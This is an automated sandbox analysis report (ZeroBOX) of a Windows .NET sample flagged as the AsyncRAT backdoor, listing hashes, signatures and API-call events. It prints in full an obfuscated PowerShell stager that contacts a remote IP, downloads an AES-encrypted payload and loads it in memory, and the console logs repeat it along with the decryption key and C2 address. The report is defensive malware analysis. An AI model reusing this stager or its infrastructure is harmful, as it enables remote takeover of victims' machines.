Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	May 10, 2023, 9:58 a.m.	May 10, 2023, 10 a.m.

Size	771.0KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`946640d04e9bc3419f1ca9183e5da8f6`
SHA256	`2bb8bfd91c20d0bcbaef017bb7c0160644a87ded17fa8bdf181d0d14db107641`
CRC32	`1305C8C9`
ssdeep	`12288:u2def0USJ4ZDzkTONSo5iWbd5Rr/8Be1sYoQv14:u2deile0WNkk1sY514`
Yara	Is_DotNET_EXE - (no description) Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT IsPE32 - (no description) PE_Header_Zero - PE File Signature Malicious_Library_Zero - Malicious_Library

originalbuild.exe "C:\Users\test22\AppData\Local\Temp\originalbuild.exe"
2552
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -command if ([System.Environment]::GetEnvironmentVariables().Count -lt 10) {exit -65536;} $typiconBooties = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('OTEuMjE1Ljg1LjE5OA==')); $elidesDiggers = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('NDU5MzQ=')); $agentsTypicon = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('M2EyNWE=')); $elidesBooties = new-object System.Net.Sockets.TcpClient; $elidesBooties.Connect($typiconBooties, [int]$elidesDiggers); $moniasBecram = $elidesBooties.GetStream(); $elidesBooties.SendTimeout = 300000; $elidesBooties.ReceiveTimeout = 300000; $lingasElides = [System.Text.StringBuilder]::new(); $lingasElides.AppendLine('GET /' + $agentsTypicon); $lingasElides.AppendLine('Host: ' + $typiconBooties); $lingasElides.AppendLine(); $bootiesMonias = [System.Text.Encoding]::ASCII.GetBytes($lingasElides.ToString()); $moniasBecram.Write($bootiesMonias, 0, $bootiesMonias.Length); $moniasAgents = New-Object System.IO.MemoryStream; $moniasBecram.CopyTo($moniasAgents); $moniasBecram.Dispose(); $elidesBooties.Dispose(); $moniasAgents.Position = 0; $bootiesDiggers = $moniasAgents.ToArray(); $moniasAgents.Dispose(); $lingasAgents = [System.Text.Encoding]::ASCII.GetString($bootiesDiggers).IndexOf('`r`n`r`n')+1; $lingasTypicon = [System.Text.Encoding]::ASCII.GetString($bootiesDiggers[$lingasAgents..($bootiesDiggers.Length-1)]); $lingasTypicon = [System.Convert]::FromBase64String($lingasTypicon); $diggersCuittle = New-Object System.Security.Cryptography.AesManaged; $diggersCuittle.Mode = [System.Security.Cryptography.CipherMode]::CBC; $diggersCuittle.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7; $diggersCuittle.Key = [System.Convert]::FromBase64String('bTBxHoHlsFE1FusIuQOatttX0kgSSC4OKDkQ+IjagWQ='); $diggersCuittle.IV = [System.Convert]::FromBase64String('VB4EnrJD2qF3uAbX2nckFA=='); $typiconMonias = $diggersCuittle.CreateDecryptor(); $lingasTypicon = $typiconMonias.TransformFinalBlock($lingasTypicon, 0, $lingasTypicon.Length); $typiconMonias.Dispose(); $diggersCuittle.Dispose(); $agentsBecram = New-Object System.IO.MemoryStream(, $lingasTypicon); $cristiDiggers = New-Object System.IO.MemoryStream; $diggersMonias = New-Object System.IO.Compression.GZipStream($agentsBecram, [IO.Compression.CompressionMode]::Decompress); $diggersMonias.CopyTo($cristiDiggers); $lingasTypicon = $cristiDiggers.ToArray(); $agentsBooties = [System.Reflection.Assembly]::Load($lingasTypicon); $moniasDiggers = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZmlzdHVjYUZyYWdoYW4=')); $elidesMonias = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('bGluZ2FzQ3VpdHRsZQ==')); $bootiesAgents = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('Ym9vdGllc0VsaWRlcw==')); $bootiesCristi = $agentsBooties.GetType($moniasDiggers + '.' + $elidesMonias); $elidesLingas = $bootiesCristi.GetMethod($bootiesAgents); $elidesLingas.Invoke($cuittleBooties, (, [string[]] ('C:\Users\test22\AppData\Local\Temp\originalbuild.exe'))); #($cuittleBooties, $cuittleBooties);
  2692

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
91.215.85.198	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (7 events)

Time & API	Arguments	Status	Return
GetComputerNameW May 10, 2023, 9:58 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 10, 2023, 9:58 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 10, 2023, 9:58 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 10, 2023, 9:58 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 10, 2023, 9:58 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 10, 2023, 9:58 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 10, 2023, 9:58 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (21 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent May 10, 2023, 9:58 a.m.			0	0
IsDebuggerPresent May 10, 2023, 9:58 a.m.			0	0
IsDebuggerPresent May 10, 2023, 9:58 a.m.			0	0
IsDebuggerPresent May 10, 2023, 9:58 a.m.			0	0
IsDebuggerPresent May 10, 2023, 9:58 a.m.			0	0
IsDebuggerPresent May 10, 2023, 9:58 a.m.			0	0
IsDebuggerPresent May 10, 2023, 9:58 a.m.			0	0
IsDebuggerPresent May 10, 2023, 9:58 a.m.			0	0
IsDebuggerPresent May 10, 2023, 9:58 a.m.			0	0
IsDebuggerPresent May 10, 2023, 9:58 a.m.			0	0
IsDebuggerPresent May 10, 2023, 9:58 a.m.			0	0
IsDebuggerPresent May 10, 2023, 9:58 a.m.			0	0
IsDebuggerPresent May 10, 2023, 9:58 a.m.			0	0
IsDebuggerPresent May 10, 2023, 9:58 a.m.			0	0
IsDebuggerPresent May 10, 2023, 9:58 a.m.			0	0
IsDebuggerPresent May 10, 2023, 9:58 a.m.			0	0
IsDebuggerPresent May 10, 2023, 9:58 a.m.			0	0
IsDebuggerPresent May 10, 2023, 9:58 a.m.			0	0
IsDebuggerPresent May 10, 2023, 9:58 a.m.			0	0
IsDebuggerPresent May 10, 2023, 9:58 a.m.			0	0
IsDebuggerPresent May 10, 2023, 9:58 a.m.			0	0

Command line console output was observed (50 out of 728 events)

Time & API	Arguments	Status	Return
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: Method invocation failed because [System.Text.StringBuilder] doesn't contain a console_handle: 0x00000023	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: method named 'new'. console_handle: 0x0000002f	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: At line:1 char:699 console_handle: 0x0000003b	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: + if ([System.Environment]::GetEnvironmentVariables().Count -lt 10) {exit -6553 console_handle: 0x00000047	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: 6;} $typiconBooties = [System.Text.Encoding]::UTF8.GetString([System.Convert]:: console_handle: 0x00000053	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: FromBase64String('OTEuMjE1Ljg1LjE5OA==')); $elidesDiggers = [System.Text.Encodi console_handle: 0x0000005f	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: ng]::UTF8.GetString([System.Convert]::FromBase64String('NDU5MzQ=')); $agentsTyp console_handle: 0x0000006b	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: icon = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64Strin console_handle: 0x00000077	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: g('M2EyNWE=')); $elidesBooties = new-object System.Net.Sockets.TcpClient; $elid console_handle: 0x00000083	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: esBooties.Connect($typiconBooties, [int]$elidesDiggers); $moniasBecram = $elide console_handle: 0x0000008f	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: sBooties.GetStream(); $elidesBooties.SendTimeout = 300000; $elidesBooties.Recei console_handle: 0x0000009b	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: veTimeout = 300000; $lingasElides = [System.Text.StringBuilder]::new <<<< (); $ console_handle: 0x000000a7	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: lingasElides.AppendLine('GET /' + $agentsTypicon); $lingasElides.AppendLine('Ho console_handle: 0x000000b3	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: st: ' + $typiconBooties); $lingasElides.AppendLine(); $bootiesMonias = [System. console_handle: 0x000000bf	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: Text.Encoding]::ASCII.GetBytes($lingasElides.ToString()); $moniasBecram.Write($ console_handle: 0x000000cb	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: bootiesMonias, 0, $bootiesMonias.Length); $moniasAgents = New-Object System.IO. console_handle: 0x000000d7	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: MemoryStream; $moniasBecram.CopyTo($moniasAgents); $moniasBecram.Dispose(); $el console_handle: 0x000000e3	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: idesBooties.Dispose(); $moniasAgents.Position = 0; $bootiesDiggers = $moniasAge console_handle: 0x000000ef	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: nts.ToArray(); $moniasAgents.Dispose(); $lingasAgents = [System.Text.Encoding]: console_handle: 0x000000fb	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: :ASCII.GetString($bootiesDiggers).IndexOf('`r`n`r`n')+1; $lingasTypicon = [Syst console_handle: 0x00000107	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: em.Text.Encoding]::ASCII.GetString($bootiesDiggers[$lingasAgents..($bootiesDigg console_handle: 0x00000113	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: ers.Length-1)]); $lingasTypicon = [System.Convert]::FromBase64String($lingasTyp console_handle: 0x0000011f	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: icon); $diggersCuittle = New-Object System.Security.Cryptography.AesManaged; $d console_handle: 0x0000012b	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: iggersCuittle.Mode = [System.Security.Cryptography.CipherMode]::CBC; $diggersCu console_handle: 0x00000137	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: ittle.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7; $diggersCuit console_handle: 0x00000143	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: tle.Key = [System.Convert]::FromBase64String('bTBxHoHlsFE1FusIuQOatttX0kgSSC4OK console_handle: 0x0000014f	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: DkQ+IjagWQ='); $diggersCuittle.IV = [System.Convert]::FromBase64String('VB4EnrJ console_handle: 0x0000015b	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: D2qF3uAbX2nckFA=='); $typiconMonias = $diggersCuittle.CreateDecryptor(); $linga console_handle: 0x00000167	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: sTypicon = $typiconMonias.TransformFinalBlock($lingasTypicon, 0, $lingasTypicon console_handle: 0x00000173	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: .Length); $typiconMonias.Dispose(); $diggersCuittle.Dispose(); $agentsBecram = console_handle: 0x0000017f	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: New-Object System.IO.MemoryStream(, $lingasTypicon); $cristiDiggers = New-Objec console_handle: 0x0000018b	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: t System.IO.MemoryStream; $diggersMonias = New-Object System.IO.Compression.GZi console_handle: 0x00000197	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: pStream($agentsBecram, [IO.Compression.CompressionMode]::Decompress); $diggersM console_handle: 0x000001a3	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: onias.CopyTo($cristiDiggers); $lingasTypicon = $cristiDiggers.ToArray(); $agent console_handle: 0x000001af	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: sBooties = [System.Reflection.Assembly]::Load($lingasTypicon); $moniasDiggers = console_handle: 0x000001bb	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('Zml console_handle: 0x000001c7	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: zdHVjYUZyYWdoYW4=')); $elidesMonias = [System.Text.Encoding]::UTF8.GetString([S console_handle: 0x000001d3	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: ystem.Convert]::FromBase64String('bGluZ2FzQ3VpdHRsZQ==')); $bootiesAgents = [Sy console_handle: 0x000001df	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: stem.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('Ym9vdGl console_handle: 0x000001eb	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: lc0VsaWRlcw==')); $bootiesCristi = $agentsBooties.GetType($moniasDiggers + '.' console_handle: 0x000001f7	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: + $elidesMonias); $elidesLingas = $bootiesCristi.GetMethod($bootiesAgents); $el console_handle: 0x00000203	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: idesLingas.Invoke($cuittleBooties, (, [string[]] ('C:\Users\test22\AppData\Loca console_handle: 0x0000020f	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: l\Temp\originalbuild.exe'))); #($cuittleBooties, $cuittleBooties); console_handle: 0x0000021b	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: + CategoryInfo : InvalidOperation: (new:String) [], RuntimeExcept console_handle: 0x00000227	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: ion console_handle: 0x00000233	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: + FullyQualifiedErrorId : MethodNotFound console_handle: 0x0000023f	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: You cannot call a method on a null-valued expression. console_handle: 0x0000025f	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: At line:1 char:727 console_handle: 0x0000026b	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: + if ([System.Environment]::GetEnvironmentVariables().Count -lt 10) {exit -6553 console_handle: 0x00000277	1	1
WriteConsoleW May 10, 2023, 9:58 a.m.	buffer: 6;} $typiconBooties = [System.Text.Encoding]::UTF8.GetString([System.Convert]:: console_handle: 0x00000283	1	1

Uses Windows APIs to generate a cryptographic key (46 events)

Time & API	Arguments	Status	Return
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00506f20 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005074a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005074a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005074a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005076a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005076a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005076a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005076a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005076a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005076a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00506ee0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00506ee0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00506ee0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005074a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005074a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005074a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00506ae0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005074a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005074a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005074a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005074a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005074a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005074a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005074a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00507820 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00507820 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00507820 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00507820 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00507820 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00507820 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00507820 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00507820 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00507820 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00507820 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00507820 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00507820 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00507820 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00507820 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00507760 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00507760 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005078a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005078a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005078a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005078a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005078a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 10, 2023, 9:58 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x005078a0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx May 10, 2023, 9:58 a.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 193 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 region_size: 1900544 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00910000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00aa0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x727a1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x727a2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 region_size: 1179648 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02010000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x020f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002fc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x009d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002ea000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00315000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0031b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00317000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x009d1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 region_size: 45056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x009d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00306000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x009dd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0030a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00307000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 10, 2023, 9:58 a.m.	process_identifier: 2552 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
